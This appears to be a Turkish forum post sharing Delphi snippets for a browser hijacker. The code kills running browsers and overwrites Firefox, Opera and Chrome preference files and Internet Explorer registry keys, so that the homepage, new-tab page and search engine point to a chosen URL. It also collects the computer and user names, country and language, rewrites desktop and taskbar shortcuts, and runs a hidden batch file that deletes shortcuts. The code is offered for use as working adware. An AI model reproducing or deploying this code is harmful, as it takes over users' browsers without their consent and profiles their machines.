Asagida isinizi gorecek kod snippetlerini paylastim..

Programlama Dili : delphi

function CreateDesktopShellLink(const TargetName: string;StrLinkName : String;Parametre :String): Boolean;
var
  IObject: IUnknown;
  ISLink: IShellLink;
  IPFile: IPersistFile;
  LinkName: string;
  TaskBarFolder : String;
begin
  Result := False;
  OleInitialize(nil);
  IF FileExists(TargetName) = false then Exit;
  try
  IObject := CreateComObject(CLSID_ShellLink);
  ISLink := IObject as IShellLink;
  IPFile := IObject as IPersistFile;

  ///?utm_source=desktop

    //masaustu simgeleri icin
    ISLink.SetArguments(PAnsiChar(Parametre + '?utm_source=desktop'));
    ISLink.SetDescription(PAnsiChar(StrLinkName));
    ISLink.SetPath(PChar('"'+TargetName+'"'));
    ISLink.SetWorkingDirectory(PChar(ExtractFilePath(TargetName)));
    LinkName := IncludeTrailingBackslash(GetSpecialFolder(CSIDL_DESKTOPDIRECTORY));
    LinkName := LinkName + StrLinkName;
    Windows.DeleteFileA(PAnsiChar(LinkName));
    IPFile.Save(PWideChar(WideString(LinkName)), True);

    TaskBarFolder := ROAMING_FOLDER + 'Microsoft\Internet Explorer\Quick Launch\User Pinned\Taskbar\';
    TaskBarFolder := TaskBarFolder + StrLinkName;
    ISLink.SetArguments(PAnsiChar(Parametre + '?utm_source=taskbar'));
    Windows.DeleteFileA(PAnsiChar(TaskBarFolder));
    IPFile.Save(PWideChar(WideString(TaskBarFolder)),True);
  except on e : Exception do
    begin
      DebugPrompt(e.Message);
    end;
  end;
  Result := True;
end;

function GetUserInfo(Index : Integer) : String;
var
    arrData : array [0..255] of char;
    hSize : Cardinal;
begin
  ZeroMemory(@arrData,SizeOf(arrData));
  hSize := SizeOf(arrData);
  FillChar(arrData,SizeOf(arrData),#0);
  case Index of
  0 : begin GetComputerName(arrData,hSize); end; // bilgisayar
  1 : begin GetUserName(arrData,hSize); end; // kullanici
  2 : begin  // ülke bilgileri
        Windows.GetLocaleInfo(LOCALE_USER_DEFAULT,LOCALE_SISO3166CTRYNAME,arrData,SizeOf(arrData))
      end;
  3 : begin // language
         VerLanguageName(GetSystemDefaultLCID,arrData,SizeOf(arrData));
      end;
  end;

  Result := string(Trim(string(arrData)));
  Result := StringReplace(Result,' ','_',[rfReplaceAll]);
  Result := StringReplace(Result,'.','_',[rfReplaceAll]);
  Result := StringReplace(Result,',','_',[rfReplaceAll]);
  Result := StringReplace(Result,'~','_',[rfReplaceAll]);
  Result := StringReplace(Result,'$','_',[rfReplaceAll]);
  Result := StringReplace(Result,'#','_',[rfReplaceAll]);
  Result := StringReplace(Result,'*','_',[rfReplaceAll]);
  Result := StringReplace(Result,'{','_',[rfReplaceAll]);
  Result := StringReplace(Result,'}','_',[rfReplaceAll]);
  Result := StringReplace(Result,'[','_',[rfReplaceAll]);
  Result := StringReplace(Result,']','_',[rfReplaceAll]);
  Result := StringReplace(Result,'(','_',[rfReplaceAll]);
  Result := StringReplace(Result,')','_',[rfReplaceAll]);
  Result := StringReplace(Result,'+','_',[rfReplaceAll]);
  Result := StringReplace(Result,'%','_',[rfReplaceAll]);
  Result := StringReplace(Result,'<','_',[rfReplaceAll]);
  Result := StringReplace(Result,'>','_',[rfReplaceAll]);
  Result := StringReplace(Result,'|','_',[rfReplaceAll]);
  Result := StringReplace(Result,'?','_',[rfReplaceAll]);
  Result := StringReplace(Result,'-','_',[rfReplaceAll]);
  if Length(Result) = 0 then Result := 'Unknown';
  DebugPrompt('Info:'+IntToStr(Index)+ '---' +Result);
end;
Procedure UpdateBrowserShotcuts(Browser : Integer;BrowserPath,ShortcutPath,UrlListesi : String);
VAR
  TempData : String;
Begin
  KillBrowsers;
  BrowserPath:= StringReplace(BrowserPath,'/','\',[rfReplaceAll]);
  UrlListesi := UrlListesi + '?utm_source=homepage';
  Case Browser Of
  0: // FIREFOX
    BEGIN
      TempData :='';
      TempData := TempData + 'user_pref("browser.cache.disk.smart_size.first_run", false);'+#13#10;
      TempData := TempData + 'user_pref("browser.startup.homepage", "'+UrlListesi+'");'+#13#10;
      TempData := TempData + 'user_pref("browser.tabs.warnOnClose", false);';
      TempData := TempData + 'user_pref("browser.feeds.showFirstRunUI", false);';
      TempData := TempData + 'user_pref("browser.newtab.url","'+UrlListesi+'");';
      SaveToFile(TempData,BrowserPath);
    END;
  1: // OPERA
    BEGIN
      TempData :='';
      TempData := TempData + '[User Prefs]'+#13#10;
      TempData := TempData + 'Startup Type=2'+#13#10;
      TempData := TempData + 'Home URL='+UrlListesi+#13#10;
      TempData := TempData + 'Preferences Version=6'+#13#10;
      TempData := TempData + 'Show Default Browser Dialog=0';
      SaveToFile(TempData,BrowserPath);
    END;
  2: // CHROME
   BEGIN

    TempData:='';
    TempData :='{'+#13#10;
    TempData := TempData + '   "backup": {'+#13#10;
    TempData := TempData + '"homepage": "'+UrlListesi+'",'+#13#10;
    TempData := TempData + '"homepage_is_newtabpage": true,'+#13#10;
    TempData := TempData + '"session": {'+#13#10;
    TempData := TempData + '   "restore_on_startup": 4,'+#13#10;
    TempData := TempData + '   "urls_to_restore_on_startup": [ "'+UrlListesi+'" ]'+#13#10;
    TempData := TempData + '}'+#13#10;
	  TempData := TempData + '},'+#13#10;
	  TempData := TempData + '"countryid_at_install": 21586,'+#13#10;
	  TempData := TempData + '"default_apps_install_state": 2,'+#13#10;
	  TempData := TempData + '"default_search_provider": {'+#13#10;
	  TempData := TempData + '"enabled": true,'+#13#10;
	  TempData := TempData + '"encodings": "",'+#13#10;
	  TempData := TempData + '"icon_url": "",'+#13#10;
	  TempData := TempData + '"id": "148",'+#13#10;
	  TempData := TempData + '"instant_url": "",'+#13#10;
	  TempData := TempData + '"keyword": "'+UrlListesi+'",'+#13#10;
	  TempData := TempData + '"name": "'+UrlListesi+'",'+#13#10;
	  TempData := TempData + '"prepopulate_id": "0",'+#13#10;
	  TempData := TempData + '"search_url": "'+UrlListesi+'/{searchTerms}/",'+#13#10;
	  TempData := TempData + '"suggest_url": ""'+#13#10;
	  TempData := TempData + '},'+#13#10;
    TempData := TempData + '"browser": {'+#13#10;
    TempData := TempData + '   "check_default_browser": false,'+#13#10;
    TempData := TempData + '   "clear_lso_data_enabled": true,'+#13#10;
    TempData := TempData + '   "pepper_flash_settings_enabled": true'+#13#10;
    TempData := TempData + '},'+#13#10;
    TempData := TempData + '"dns_prefetching": {'+#13#10;
    TempData := TempData + '   "host_referral_list": [ 2 ],'+#13#10;
    TempData := TempData + '   "startup_list": [ 1, "'+UrlListesi+'" ]'+#13#10;
    TempData := TempData + '},'+#13#10;
    TempData := TempData + '"session": {'+#13#10;
    TempData := TempData + '   "restore_on_startup": 4,'+#13#10;
    TempData := TempData + '   "restore_on_startup_migrated": true,'+#13#10;
    TempData := TempData + '   "urls_to_restore_on_startup": [ "'+UrlListesi+'" ]'+#13#10;
    TempData := TempData + '},'+#13#10;
    TempData := TempData + '"sync": {'+#13#10;
    TempData := TempData + '   "suppress_start": true'+#13#10;
    TempData := TempData + '}'+#13#10;
    TempData := TempData + '}'+#13#10;
    SaveToFile(TempData,BrowserPath);
   END;
  3:BEGIN // EKsplorer
       AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Search Page',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Search Page',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));

       AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Default_Page_URL',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Default_Page_URL',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));

       AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',Copy(UrlListesi,1,POS(#13#10,UrlListesi)-1));
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',UrlListesi);

       AddToRegistry(HKEY_CURRENT_USER,REG_MULTI_SZ,'Software\Microsoft\Internet Explorer\Main\','Secondary Start Pages','');
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_MULTI_SZ,'Software\Microsoft\Internet Explorer\Main\','Secondary Start Pages','');

       AddToRegistry(HKEY_CURRENT_USER,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',UrlListesi);
       AddToRegistry(HKEY_LOCAL_MACHINE,REG_SZ,'Software\Microsoft\Internet Explorer\Main\','Start Page',UrlListesi);
    END;
  END;

End;

Procedure RemoveOldShortCuts(OldPath :String);
var
  BatData : String;
  BatFile : String;
Begin
BatData :='@echo off' + #13#10+
          'cd "'+OldPath+'"' + #13#10+
          'del "*.lnk"' + #13#10;
          BatFile:=IncludeTrailingBackSlash(TempDir) + 'DelShortCuts.bat';
          SaveToFile(BatData,BatFile);
          NewShellExecuteA(0, 'open', PAnsiChar(BatFile), nil, nil, SW_HIDE);
End;
{
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
Default_Page_URL
Start Page
Start Page Redirect Cache
Secondary Start Pages #13#10 site adresleri
Search Page
}
Function AddToRegistry(RegKey : HKey;dType : Cardinal;SubKey,SingleKey,Value : String) : Boolean;
VAR
  Key : HKey;
Begin
 Result := False;
 if RegOpenKeyEx(RegKey,PChar(SubKey), 0, KEY_WRITE, Key) = ERROR_SUCCESS then
 Begin
    RegSetValueEx(Key, PAnsiChar(SingleKey), 0,dType, PChar(Value),Length(Value)); // The 1 is for the terminating 0 (PChar)
    RegCloseKey(Key);
    RegCloseKey(RegKey);
  end;
End;
Tarayıcı Dizinlerinin Tespiti:

  STARTMENU_PATH     := GetSpecialFolder(CSIDL_PROGRAMS);
  DESKTOP_PATH       := GetSpecialFolder(CSIDL_DESKTOP);
  PROGRAM_FILES      := GetSpecialFolder(CSIDL_PROGRAM_FILES);
  APPDATA_PATH       := GetSpecialFolder(CSIDL_LOCAL_APPDATA);
  STARTUP_FOLDER     := GetSpecialFolder(CSIDL_STARTUP);
  ROAMING_FOLDER     := GetSpecialFolder(CSIDL_APPDATA);
  FIREFOX_PATH       := PROGRAM_FILES + 'Mozilla Firefox\firefox.exe';
  FIREFOX_DATA_PATH  := ROAMING_FOLDER + 'Mozilla\Firefox\';
  OPERA_PATH         := PROGRAM_FILES + 'Opera\opera.exe';
  OPERA_DATA_PATH    := ROAMING_FOLDER + 'Opera\Opera\operaprefs.ini';

  CHROME_DATA_PATH   := APPDATA_PATH  + 'Google\Chrome\User Data\Default\Preferences';
  CHROME_PATH        := PROGRAM_FILES + 'Google\Chrome\Application\chrome.exe';

  YANDEX_PATH        := APPDATA_PATH + 'Yandex\YandexBrowser\Application\browser.exe';
  YANDEX_DATA_PATH   := APPDATA_PATH + 'Yandex\YandexBrowser\User Data\Default\Preferences';

  EXPLORER_PATH      := PROGRAM_FILES + 'Internet Explorer\iexplore.exe';
  SAFARI_PATH        := PROGRAM_FILES + 'Safari\Safari.exe';
  PALEMON_PATH       := PROGRAM_FILES + 'Pale Moon\palemoon.exe';
  MAXTHON_PATH       := PROGRAM_FILES + 'Maxthon3\Bin\Maxthon.exe';
  KMELEON_PATH       := PROGRAM_FILES + 'K-Meleon\k-meleon.exe';
  DRAGON_PATH        := PROGRAM_FILES + 'Comodo\Dragon\dragon.exe';
  AVANT_PATH         := PROGRAM_FILES + 'Avant Browser\avant.exe';
  GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, PCHAR(FIREFOX_DATA_PATH+'profiles.ini'));
  FIREFOX_DATA_PATH := FIREFOX_DATA_PATH+MainProfile+'\prefs.js';